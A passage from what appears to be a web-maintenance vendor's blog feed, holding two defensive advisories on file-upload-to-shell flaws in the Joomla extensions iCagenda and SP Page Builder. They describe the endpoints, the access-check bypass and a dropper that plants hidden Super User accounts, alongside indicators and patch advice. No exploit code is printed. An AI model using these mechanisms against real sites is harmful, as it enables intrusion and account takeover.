&lt;p&gt;The vulnerability lived in iCagenda’s frontend “Submit an Event” form, the feature that lets visitors propose events for the calendar. The form has a file attachment field. The processing code took the uploaded file, kept the file extension the visitor supplied, and wrote it straight to a folder under the web root:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;images/icagenda/frontend/attachments/your-file.php&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;iCagenda did not maintain its own allow-list of permitted extensions on this path, did not block &lt;code&gt;.php&lt;/code&gt;, and did not check that the file was actually the image type it claimed to be. So the dangerous file reached the disk. Whether the server would then run it depended on Joomla’s own upload filtering. JoomliC’s &lt;a href=&quot;https://www.joomlic.com/news/icagenda-security-update&quot;&gt;advisory&lt;/a&gt; is clear that the upload-to-shell only triggers on Joomla 6, because every Joomla version before 6 blocks unsafe file uploads in core by default. On Joomla 6 that core safety net was not in play on this path, so you could upload &lt;code&gt;shell.php&lt;/code&gt;, browse to it, and the server would run it. That is the whole chain, and it is as bad as web vulnerabilities get.&lt;/p&gt;
&lt;p&gt;There was a second half to the bug, and this one reached further. iCagenda has a setting that controls who is allowed to submit an event, and by default it is set to “Registered”, meaning logged-in users only. You would reasonably assume that setting protected the submission. It did not. The access check was applied only in the view that decides whether to draw the form on screen. The controller that actually processed the submission never checked it at all.&lt;/p&gt;
&lt;p&gt;That means an attacker did not need an account, and did not even need the submit form to be publicly linked anywhere. They harvested a form token from any public iCagenda page, such as the events list, and posted straight to the processing endpoint. The “Registered only” setting was bypassed completely, on every Joomla version, not just Joomla 6. On Joomla 6 that bypass led to the file upload and a shell. On Joomla 2.5, 3, 4 and 5, where core blocked the malicious upload, it still let an anonymous visitor create events that were saved but not approved, sitting in the queue with no login required. Lower stakes, same root cause: an authorization check in the wrong place. A site with no public submit menu at all was still reachable.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;We are not publishing a copy-and-paste exploit. The mechanism above is enough to understand the risk and confirm your sites are patched. It is not a recipe. The fix is out, so the right response to this post is to update, not to test it on someone else’s site.&lt;/p&gt;&lt;/div&gt;
&lt;h2&gt;Exploited in the Wild Before a Fix Existed&lt;/h2&gt;
&lt;p&gt;This was not found by reading code in the abstract. The first evidence was three lines in a client’s real access log, in sequence: grab a session, post the malicious upload to the submit endpoint, then fetch the planted shell at the exact path the component writes attachments to. The user agent was &lt;code&gt;icagenda-batch/1.0&lt;/code&gt;, which tells you this is tooling built specifically to grind through lists of Joomla sites running iCagenda.&lt;/p&gt;
&lt;p&gt;That sequence is the textbook signature of a working exploit, not a probe. JoomliC’s own advisory dates the automated attacks from 15 June 2026, 8am UTC, which matches the client’s access log. It is also why we did not sit and wait for a patch before warning people. A flaw being actively used in the wild, with no fixed version to update to, is the definition of a zero day, and the only responsible move was to get the warning out while pushing the developer for a fix.&lt;/p&gt;
&lt;p&gt;To confirm it was the component and not something else on the client’s server, we reproduced the whole attack on a clean local Joomla 6 install running the exact 4.0.7 build, using a safe proof of concept that only wrote a harmless marker file. It worked on defaults, with nothing special configured. No guest submission toggle, no special category, nothing. The upload succeeded from an anonymous session because the access check was in the wrong place, and Joomla 6 did not stop the file the way earlier versions would have.&lt;/p&gt;
&lt;h2&gt;Update to 4.0.8 (or 3.9.15), and Mind the Old Files&lt;/h2&gt;
&lt;p&gt;The fix is iCagenda 4.0.8 for the current line, released 15 June 2026, or 3.9.15 for sites still on the legacy 3.x branch, released the following day on 16 June. The fix properly closes both parts of the bug: the upload now goes through Joomla’s own &lt;code&gt;MediaHelper&lt;/code&gt; allow-list, which rejects &lt;code&gt;.php&lt;/code&gt; and other dangerous extensions, and the access check is now enforced on the processing path, not only in the view. That second fix is the one that matters on Joomla 2.5 through 5, where the upload was already blocked by core but the access bypass was not. Both fixes are real. Updating is the right move regardless of which branch or Joomla version you are on.&lt;/p&gt;
&lt;p&gt;You have three ways to do it:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Joomla admin:&lt;/strong&gt; update iCagenda the normal way through the Joomla updater&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;mySites.guru dashboard:&lt;/strong&gt; push the update across several sites at once without logging into each one&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Direct download:&lt;/strong&gt; grab 4.0.8 or 3.9.15 from &lt;a href=&quot;https://www.icagenda.com/#download&quot;&gt;icagenda.com&lt;/a&gt; and install it over the top&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The one thing that matters is that you end up on 4.0.8/3.9.15 or later. If you took emergency action before the patch existed and renamed or removed the component, reinstall it from a clean download rather than putting the old files back, otherwise you are restoring the vulnerable version.&lt;/p&gt;
&lt;p&gt;One trap worth calling out: unpublishing iCagenda in the Joomla admin does not protect the site. The submit endpoint stays reachable and the uploaded files stay both writable and web-served regardless of whether the component is published. Before 4.0.8 existed, the only reliable stop short of patching was to rename the &lt;code&gt;com_icagenda&lt;/code&gt; folders so Joomla could not route to them. Now that there is a real fix, just update.&lt;/p&gt;
&lt;h2&gt;Updating Closes the Door. It Does Not Undo a Break-In&lt;/h2&gt;
&lt;p&gt;This is the step people skip, and it is the one that matters most if a site was already targeted. Updating to 4.0.8 stops the next attempt. It does nothing about a shell that was uploaded last week. Because this was being actively exploited before the patch, you have to assume your Joomla 6 sites were hit and check them. Sites on Joomla 5 and earlier could not have received a PHP shell through this path, since core blocked the upload, but it still costs nothing to look, and any unapproved events sitting in the queue are a sign the bypass was used.&lt;/p&gt;
&lt;p&gt;The thing to look for is any file that should not exist under &lt;code&gt;images/icagenda/frontend/attachments/&lt;/code&gt;. That folder is only ever meant to hold uploaded event attachments. A &lt;code&gt;.php&lt;/code&gt; file in there is a web shell until proven otherwise. mySites.guru runs a &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;file scanner on every snapshot&lt;/a&gt;, twice a day, on every connected Joomla site, and flags known web shell signatures and files that have no business being there. Open each affected site in the dashboard and check its &lt;strong&gt;Hacked?&lt;/strong&gt; section.&lt;/p&gt;
&lt;p&gt;If you find something, treat that site as compromised and &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;clean it properly&lt;/a&gt;: keep a copy of anything suspicious for evidence, remove it, change your Joomla passwords and secrets, and audit the whole site rather than just the iCagenda folder. Anyone who got in through one component will usually leave a second way back in somewhere you would not think to look. Finding one mess is a reason to check the whole house.&lt;/p&gt;
&lt;h2&gt;This Keeps Happening to Joomla Components&lt;/h2&gt;
&lt;p&gt;iCagenda is not an outlier. It joins a steady run of third-party Joomla component vulnerabilities we have written up this year, several with the same shape: an endpoint that should have been locked down, reachable without authentication, doing something dangerous. The &lt;a href=&quot;https://mysites.guru/blog/astroid-framework-security-vulnerability/&quot;&gt;Astroid framework backdoor&lt;/a&gt; and the &lt;a href=&quot;https://mysites.guru/blog/novarain-framework-joomla-vulnerability/&quot;&gt;Novarain framework RCE&lt;/a&gt; were both unauthenticated code execution in widely-installed extensions. The &lt;a href=&quot;https://mysites.guru/blog/finding-every-site-running-a-vulnerable-jce/&quot;&gt;vulnerable JCE editor&lt;/a&gt; was another file upload. The underlying pattern, where an &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;AJAX or form endpoint skips its authorization check&lt;/a&gt;, is one of the most common ways Joomla sites get hacked through no fault of the site owner.&lt;/p&gt;
&lt;p&gt;The lesson is not “stop using extensions”. Extensions are what make Joomla useful. The lesson is that the security of your sites depends on code other people wrote, shipped on someone else’s schedule, and the day a flaw like this becomes public you need to know, within minutes, which of your sites are exposed and be able to patch them all at once. That is the entire reason mySites.guru indexes every extension on every site you connect. When the next one drops, and there will be a next one, you want to be the operator who patched before the scanner arrived, not the one reading their access log afterwards.&lt;/p&gt;
&lt;p&gt;Credit to JoomliC for turning a same-day fix around on a critical report. That is exactly how responsible disclosure is supposed to go.&lt;/p&gt;
&lt;h2&gt;CVE Record&lt;/h2&gt;
&lt;p&gt;This vulnerability is tracked as &lt;strong&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-48939/&quot;&gt;CVE-2026-48939&lt;/a&gt;&lt;/strong&gt;, published 20 June 2026 by the Joomla security team.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;10.0&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;span&gt;Critical&lt;/span&gt;&lt;span&gt;Joomla CNA · &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-48939/&quot;&gt;CVE-2026-48939&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;div&gt;&lt;code&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:A/AU:Y/U:Red&lt;/code&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Actively attacked&lt;/span&gt;&lt;/div&gt;What does this mean?&lt;div&gt;&lt;p&gt;CVSS 4.0 scores how severe a flaw is, from 0 (no impact) to 10 (critical). Each pair of letters in the string above is one metric; here is what this one&apos;s says.&lt;/p&gt;&lt;div&gt;&lt;p&gt;How it is reached&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;AV:N&lt;/dt&gt;&lt;dd&gt;Network: Reachable across the internet&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AC:L&lt;/dt&gt;&lt;dd&gt;Low: Nothing to work around, it just works&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AT:N&lt;/dt&gt;&lt;dd&gt;None: Works against any affected install&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;PR:N&lt;/dt&gt;&lt;dd&gt;None: No account needed&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;UI:N&lt;/dt&gt;&lt;dd&gt;None: Nobody has to be tricked into anything&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does to the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;VC:H&lt;/dt&gt;&lt;dd&gt;High: Everything the site holds can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VI:H&lt;/dt&gt;&lt;dd&gt;High: Data and files can be altered at will&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VA:H&lt;/dt&gt;&lt;dd&gt;High: The site can be taken down&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does beyond the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;SC:H&lt;/dt&gt;&lt;dd&gt;High: Data on other systems can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SI:H&lt;/dt&gt;&lt;dd&gt;High: Other systems can be altered&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SA:H&lt;/dt&gt;&lt;dd&gt;High: Other systems can be taken down&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;

































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Field&lt;/th&gt;&lt;th&gt;Detail&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;CVE ID&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-48939/&quot;&gt;CVE-2026-48939&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CWE&lt;/td&gt;&lt;td&gt;CWE-284: Improper Access Control&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Affected versions&lt;/td&gt;&lt;td&gt;iCagenda 3.2.1 through 3.9.14 and 4.0.0 through 4.0.7&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;RCE scope&lt;/td&gt;&lt;td&gt;Joomla 6 only (earlier Joomla versions block the upload in core); access bypass on all Joomla versions&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Fixed in&lt;/td&gt;&lt;td&gt;3.9.15 (legacy) and 4.0.8 (current)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Exploit maturity&lt;/td&gt;&lt;td&gt;Actively Attacked&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-06-15&lt;/strong&gt; 08:00 UTC automated attacks on iCagenda installs begin JoomliC&apos;s own advisory dates the automated attacks from this point, which matches the log below. A client forwards an access log the same day showing live exploitation by a client calling itself icagenda-batch/1.0.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-06-15&lt;/strong&gt; We confirm it, reproduce it, and report it the same day Code review of 4.0.7, then the upload-to-shell reproduced end to end on a clean local Joomla 6 install with a safe proof of concept, and a responsible-disclosure report sent to the developer with that proof of concept attached.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-06-15&lt;/strong&gt; JoomliC releases iCagenda 4.0.8 as a critical security release A same-day turnaround on a critical report, and the fix holds up: the upload now goes through Joomla&apos;s own MediaHelper allow-list, and the access check is enforced on the processing path rather than only in the view.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-06-16&lt;/strong&gt; 3.9.15 follows for the legacy 3.x branch So sites that have not migrated have somewhere to go.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-06-20&lt;/strong&gt; CVE-2026-48939 is published at CVSS 4.0 10.0 Classified CWE-284, improper access control. Per JoomliC the upload-to-shell triggers on Joomla 6 only, because earlier Joomla versions block unsafe uploads in core, but the second issue in the same submit flow let guests create unapproved events on every Joomla version.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;This iCagenda zero day was one entry in &lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;a month of Joomla extension vulnerabilities we found and reported&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/icagenda-calendar-module-sql-injection/&quot;&gt;iCagenda 4.0.12 fixes an unauthenticated SQL injection&lt;/a&gt; - the later, separate flaw, reported by Joep van Antwerpen&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomlic.com/news/icagenda-security-update&quot;&gt;JoomliC&apos;s official iCagenda security advisory&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://vulnerability.circl.lu/vuln/cve-2026-48939&quot;&gt;CVE-2026-48939 on vulnerability.circl.lu&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.icagenda.com/#download&quot;&gt;iCagenda official site and download&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://extensions.joomla.org/vulnerable-extensions/vulnerable/&quot;&gt;Joomla Vulnerable Extensions List&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://owasp.github.io/www-community/vulnerabilities/Unrestricted_File_Upload&quot;&gt;OWASP: Unrestricted File Upload&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Security_Checklist&quot;&gt;Joomla security best practices&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>vulnerability</category><category>icagenda</category><category>rce</category><category>file-upload</category><enclosure url="https://mysites.guru/img/og/blog/icagenda-zero-day-file-upload-rce.png" length="0" type="image/png"/></item><item><title>SP Page Builder Zero Day Is Being Used to Plant Fake Joomla Admins</title><link>https://mysites.guru/blog/sp-page-builder-zero-day-uploadcustomicon-rce/</link><guid isPermaLink="true">https://mysites.guru/blog/sp-page-builder-zero-day-uploadcustomicon-rce/</guid><description>An unauthenticated upload in the SP Page Builder Joomla extension gives remote code execution and creates hidden Super User accounts. Fixed in 6.6.2.</description><pubDate>Mon, 15 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;There is a particular kind of hacked Joomla site that looks completely fine until you open the user list and find Super Administrators no one created, with plausible-sounding names like “Web Editor” or “Admin Backup” and email addresses at &lt;code&gt;@secure.local&lt;/code&gt;. We have been seeing those accounts turn up across Joomla sites this month, and we traced them back to a single cause: a zero day in &lt;a href=&quot;https://www.joomshaper.com/page-builder&quot;&gt;SP Page Builder&lt;/a&gt;, the popular page builder by JoomShaper.&lt;/p&gt;
&lt;p&gt;The flaw lets anyone, with no login at all, upload a PHP web shell through one of the component’s own endpoints and then run it. That is remote code execution: full control to steal data, deface pages, plant backdoors, or use the server to attack other sites. The attacker’s payload uses that control to create the hidden Super User, so even after the entry point is closed they still have a way back in. It affects every version up to and including 6.6.1, and it is already being exploited in the wild.&lt;/p&gt;
&lt;p&gt;The patch for this flaw is &lt;a href=&quot;https://www.joomshaper.com/page-builder&quot;&gt;SP Page Builder 6.6.2&lt;/a&gt;. If you run any Joomla site with SP Page Builder installed, update it now, then read on for what the bug does, how to spot the hidden admin, and how to check the rest of your sites in one place.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Update note (September 2026): 6.6.2 closed this flaw, and it is no longer the version to be on. We later found and reported &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-sql-injection-mail-relay-disclosure/&quot;&gt;a pre-authentication SQL injection and an unauthenticated mail relay&lt;/a&gt;, fixed in 6.7.1, and then &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-pre-auth-rce-file-inclusion-disclosure/&quot;&gt;a second unauthenticated remote code execution flaw&lt;/a&gt; that was still there in 6.7.1 and was only fixed in 6.8.0, and then &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-sql-injection-captcha-bypass-disclosure/&quot;&gt;five more issues in 6.9.0&lt;/a&gt;, fixed in 6.9.1. Install 6.9.1 or later, not 6.6.2.&lt;/p&gt;&lt;/div&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-48908/&quot;&gt;CVE-2026-48908&lt;/a&gt;&lt;/strong&gt; - CVSS 4.0 score: &lt;strong&gt;10.0 Critical&lt;/strong&gt; (CWE-284: Improper Access Control)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Unauthenticated file upload to remote code execution&lt;/strong&gt; in SP Page Builder, through the &lt;code&gt;asset.uploadCustomIcon&lt;/code&gt; task. No login required&lt;/li&gt;
&lt;li&gt;Affects &lt;strong&gt;every version up to and including 6.6.1&lt;/strong&gt;. Fixed in &lt;strong&gt;6.6.2&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Already exploited in the wild.&lt;/strong&gt; The payload plants a hidden Super Administrator account, usually with an &lt;code&gt;@secure.local&lt;/code&gt; email, plus a PHP file manager backdoor in several spots for persistence&lt;/li&gt;
&lt;li&gt;This is a &lt;strong&gt;different vector from the recent JCE wave&lt;/strong&gt;. A WAF that returns 403 for the JCE exploit paths may still let this one through with a 200&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update to 6.6.2 on every affected site, then check for rogue Super Users and clean any site that was hit.&lt;/strong&gt; Unpublishing the component does not protect you&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;&lt;p&gt;This is being actively exploited right now. The fix exists, and the technical detail is going public, which means more scanners will know exactly what to look for. The sites that get caught are the ones still on an old version when that happens. Update to 6.6.2 before you do anything else, then check whether you were already hit.&lt;/p&gt;&lt;/div&gt;
&lt;h2&gt;Find Sites With Rogue Super Admins, Across Every Joomla Site, in mySites.guru&lt;/h2&gt;
&lt;p&gt;When a zero day plants a hidden admin account, the dangerous part is not the one site you already found. It is the other forty you have not checked yet. Logging into every Joomla admin and reading the user list one site at a time is exactly the job no one finishes before the attacker comes back.&lt;/p&gt;
&lt;p&gt;We built a dedicated check for this. mySites.guru now has a &lt;a href=&quot;https://manage.mysites.guru/en/tools/allsites/Joomla/hacked/rogueadmins&quot;&gt;&lt;strong&gt;Rogue Super Admin Accounts&lt;/strong&gt; tool&lt;/a&gt; that looks for the signature of this compromise: Super Administrator accounts bearing the attacker’s &lt;code&gt;@secure.local&lt;/code&gt; email domain. It runs across every connected Joomla site and lists the sites that have one, so you find all of them in seconds instead of discovering them one nasty surprise at a time. When it finds a rogue admin, you can delete it straight from the dashboard, then move on to cleaning the rest of the site.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/sp-pagebuilder-rogueadmins-flagged.vT3sLgm1_SzJTR.webp&quot; srcset=&quot;https://mysites.guru/_astro/sp-pagebuilder-rogueadmins-flagged.vT3sLgm1_Z23COIu.webp 640w, https://mysites.guru/_astro/sp-pagebuilder-rogueadmins-flagged.vT3sLgm1_1V2nA1.webp 750w, https://mysites.guru/_astro/sp-pagebuilder-rogueadmins-flagged.vT3sLgm1_2rHIb2.webp 828w, https://mysites.guru/_astro/sp-pagebuilder-rogueadmins-flagged.vT3sLgm1_Z1Jq4lz.webp 1080w, https://mysites.guru/_astro/sp-pagebuilder-rogueadmins-flagged.vT3sLgm1_1wDJK8.webp 1280w, https://mysites.guru/_astro/sp-pagebuilder-rogueadmins-flagged.vT3sLgm1_2b4uhd.webp 1668w, https://mysites.guru/_astro/sp-pagebuilder-rogueadmins-flagged.vT3sLgm1_ZRSx36.webp 2048w, https://mysites.guru/_astro/sp-pagebuilder-rogueadmins-flagged.vT3sLgm1_1xngTC.webp 2560w, https://mysites.guru/_astro/sp-pagebuilder-rogueadmins-flagged.vT3sLgm1_SzJTR.webp 2644w&quot; alt=&quot;The mySites.guru Rogue Super Admin Accounts tool on a compromised site, flagging three Super Administrator accounts with @secure.local emails (Web Editor, Site Helper and Admin Backup) planted by the SP Page Builder compromise, with a Delete all rogue Super Admins button and a Close the entry point panel&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 2644px) 2644px, 100vw&quot; width=&quot;2644&quot; height=&quot;2104&quot; /&gt;&lt;/p&gt;
&lt;p&gt;To find which of your sites even run SP Page Builder in the first place, mySites.guru records the exact version of every installed extension across every connected Joomla site on a &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;twice-daily snapshot&lt;/a&gt;. The &lt;a href=&quot;https://mysites.guru/blog/manage-all-your-joomla-sites-extensions-with-mysites-guru/&quot;&gt;extension search&lt;/a&gt; shows you every site running SP Page Builder, grouped by version. Filter for anything below 6.6.2 and you have your patch list. Combined with the &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;mass extension updater&lt;/a&gt;, you can push 6.6.2 across every affected site in one batch.&lt;/p&gt;
&lt;p&gt;If you do not have a mySites.guru account yet, &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;run a free audit&lt;/a&gt; and connect your sites. The extension index and the rogue admin check both run automatically on the first snapshot, so you will know straight away which sites are exposed and which are already compromised.&lt;/p&gt;
&lt;h2&gt;What the Bug Actually Did&lt;/h2&gt;
&lt;p&gt;SP Page Builder exposes a controller task named &lt;code&gt;asset.uploadCustomIcon&lt;/code&gt;, reached through a normal Joomla request:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;index.php?option=com_sppagebuilder&amp;amp;task=asset.uploadCustomIcon&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That task is meant to handle a small administrative job, uploading a custom icon. The problem is that it processed the uploaded file with no authentication check and no server-side restriction on the file type, then wrote it to a folder under the web root. Joomla ships helpers that validate uploads against an allow-list of safe extensions, and this path did not use them. So an attacker could upload a &lt;code&gt;.php&lt;/code&gt; file, browse to it, and the server would execute it. That is the whole chain, and it is as bad as web vulnerabilities get.&lt;/p&gt;
&lt;p&gt;Because the task required no login, the attack worked against a completely default install. There was nothing to enable, no guest setting to toggle, no SP Page Builder page that needed to be published. The endpoint was reachable on any Joomla site with the component installed.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;We are not publishing a working exploit. The mechanism above is enough to understand the risk and confirm your sites are patched. It is not a recipe. The fix is out, so the right response to this post is to update and check your admins, not to test it on someone else’s site.&lt;/p&gt;&lt;/div&gt;
&lt;div&gt;&lt;p&gt;We reviewed the 6.6.2 source to confirm the fix is real. In every version up to 6.6.1, the SP Page Builder site controller that handles &lt;code&gt;asset.uploadCustomIcon&lt;/code&gt; ran no access check at all, which is why an anonymous request reached the upload. 6.6.2 adds a gate that runs before every task in that controller: it requires a logged-in user who holds Joomla admin or component-manage permission, plus a valid anti-CSRF token, and returns a 401 or 403 otherwise. The endpoint that was wide open is now behind the authentication and authorization it should always have had. That is the whole fix, and it is why being on 6.6.2 closes the door.&lt;/p&gt;&lt;/div&gt;
&lt;h2&gt;What the Attacker Leaves Behind&lt;/h2&gt;
&lt;p&gt;This is the part that makes the SP Page Builder zero day worse than a smash-and-grab. The attacker does not just get one-time code execution and move on. The payload uses that access to set up a quiet, durable foothold.&lt;/p&gt;
&lt;p&gt;First, it creates &lt;strong&gt;hidden Super Administrator accounts&lt;/strong&gt;. We have seen sites with several at once, with forgettable usernames built from a generic role word and a couple of digits. Alongside &lt;code&gt;webeditor48&lt;/code&gt;, &lt;code&gt;sitehelper7&lt;/code&gt; and &lt;code&gt;adminbk&lt;/code&gt;, real accounts we have pulled off compromised sites include &lt;code&gt;webeditor67&lt;/code&gt;, &lt;code&gt;webmaster63&lt;/code&gt;, &lt;code&gt;webmanager38&lt;/code&gt;, &lt;code&gt;siteeditor38&lt;/code&gt;, &lt;code&gt;webmanager43&lt;/code&gt; and &lt;code&gt;portaladmin51&lt;/code&gt;, with reassuring display names like “Web Editor”, “Site Helper” and “Admin Backup”. The exact names vary from site to site, so do not treat them as a fixed list to match against. The group is always Super Users, and the email address always ends in &lt;code&gt;@secure.local&lt;/code&gt;. That email domain is the giveaway. It is not a real domain, and no legitimate Joomla account uses it. If you see even one Super User with an &lt;code&gt;@secure.local&lt;/code&gt; address, that site has been compromised through this exploit.&lt;/p&gt;
&lt;p&gt;We pulled a copy of the dropper off a compromised site, and the part that builds the account explains exactly why the signature is so consistent. It picks a username at random from a small hard-coded list of innocent-sounding role words (&lt;code&gt;webeditor&lt;/code&gt;, &lt;code&gt;contentmgr&lt;/code&gt;, &lt;code&gt;sysadmin&lt;/code&gt;, &lt;code&gt;webmaster&lt;/code&gt;, &lt;code&gt;portaladmin&lt;/code&gt;, &lt;code&gt;siteeditor&lt;/code&gt;, &lt;code&gt;webmanager&lt;/code&gt;, &lt;code&gt;cmsadmin&lt;/code&gt;), tacks on two digits, and stamps the email as that username &lt;code&gt;@secure.local&lt;/code&gt;. It connects straight to the database using the credentials it read out of &lt;code&gt;configuration.php&lt;/code&gt;, sets &lt;code&gt;sql_mode&lt;/code&gt; to empty to dodge strict-mode rejections, inserts the user unblocked, maps it into the Super Users group, and writes the matching &lt;code&gt;#__assets&lt;/code&gt; row so the account looks completely native in the admin. The &lt;code&gt;@secure.local&lt;/code&gt; suffix is hard-coded into the dropper, which is what makes it worth hunting for: it never changes, site to site.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/sp-pagebuilder-rogueadmins-dropper-code.U2cw9BHM_Z29mi3e.webp&quot; srcset=&quot;https://mysites.guru/_astro/sp-pagebuilder-rogueadmins-dropper-code.U2cw9BHM_Z1w3YED.webp 640w, https://mysites.guru/_astro/sp-pagebuilder-rogueadmins-dropper-code.U2cw9BHM_Z1tzmX9.webp 750w, https://mysites.guru/_astro/sp-pagebuilder-rogueadmins-dropper-code.U2cw9BHM_287Usj.webp 828w, https://mysites.guru/_astro/sp-pagebuilder-rogueadmins-dropper-code.U2cw9BHM_ZTznBp.webp 1080w, https://mysites.guru/_astro/sp-pagebuilder-rogueadmins-dropper-code.U2cw9BHM_Z2nrtej.webp 1280w, https://mysites.guru/_astro/sp-pagebuilder-rogueadmins-dropper-code.U2cw9BHM_Z2oiYsj.webp 1668w, https://mysites.guru/_astro/sp-pagebuilder-rogueadmins-dropper-code.U2cw9BHM_Z2q3SPg.webp 2048w, https://mysites.guru/_astro/sp-pagebuilder-rogueadmins-dropper-code.U2cw9BHM_F3Lkx.webp 2560w, https://mysites.guru/_astro/sp-pagebuilder-rogueadmins-dropper-code.U2cw9BHM_Z29mi3e.webp 3164w&quot; alt=&quot;The credential-creation block of the SP Page Builder dropper, showing the hard-coded list of username prefixes (webeditor, contentmgr, sysadmin, webmaster, portaladmin, siteeditor, webmanager, cmsadmin), the @secure.local email being assembled, a direct mysqli connection that disables sql_mode, and the INSERT statements that create the user, map it to the Super Users group and add a matching assets row&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 3164px) 3164px, 100vw&quot; width=&quot;3164&quot; height=&quot;1876&quot; /&gt;&lt;/p&gt;
